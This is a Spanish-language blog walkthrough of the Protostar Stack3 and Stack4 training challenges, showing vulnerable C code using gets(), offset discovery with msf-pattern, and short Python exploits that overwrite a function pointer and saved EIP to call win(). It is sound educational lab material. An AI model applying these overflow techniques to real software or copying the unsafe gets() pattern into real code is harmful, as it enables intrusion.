En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis el post anterior donde resolvemos los 3 primeros retos (0-2).

Como dije en la primera parte, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.

Stack 3

About
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints
both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3

Codigo fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Tal y como leemos en las pistas, debemos buscar la dirección de la función win() y ser capaces de llamarla modificando el valor de fp
Vamos a decompilar el main:

Explicación:
En <+9> se le da valor 0 a la variable contenida en [esp+0x5c]
En <+24> se llama a gets() donde debemos ser capaces de modificar la variable [esp+0x5c] con la dirección de win()
En <+29> se comprueba si la variable [esp+0x5c] es distinta de 0, es decir, si se ha modificado a causa del desbordamiento del buffer
En <+57> y <+61> se llamará al contenido de la variable [esp+0x5c] cuyo contenido debe ser la dirección de win()

Busquemos la dirección de win():

win() –> 0x8048424
El siguiente paso será identificar la longitud del buffer que debemos llenar para poder sobrescribir fp con el contenido que queramos.
Para esto usamos msf-pattern

$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
$ ./stack3
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
calling function pointer, jumping to 0x63413163
Segmentation fault
$ msf-pattern_offset -q 0x63413163
[*] Exact match at offset 64

Una vez hemos obtenido la longitud del buffer y la dirección de win() podemos crear nuestro exploit:

import struct

padding="A"*64
payload = struct.pack("I",0x8048424)
print padding+payload
$ python stack3.py | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack 4

About
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4

Hints
A variety of introductory papers into buffer overflows may help.
gdb lets you do “run < input" EIP is not directly after the end of buffer, compiler padding can also increase the size.

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
  printf("code flow successfully changed\n");
}
 
int main(int argc, char **argv)
{
  char buffer[64];
 
  gets(buffer);
}

En este reto también tendremos que ser capaces de llamar a la función win(), pero no será tan fácil ya que esta vez no se llama a ninguna función a través de una variable.
Pero podemos sobrescribir la dirección de retorno gracias a gets() y llamar así a win()

Vamos a decompilar el main e identificar la dirección de win:

Como veis, en el main() solo se crea un buffer de 64 bytes
0x50 – 0x10 = 64 bytes
Y se llama a la función gets()
win() –> 0x080483f4
Lo siguiente será encontrar la longitud de nuestro payload para poder editar la dirección de retorno.
Para esto usaremos msf-pattern con la dirección que nos devuelve gdb:

Ahora ya podemos escribir nuestro exploit:

import struct

padding="A"*76
win=struct.pack("I",0x80483f4)
print padding+win

¿Me ayudas a compatirlo?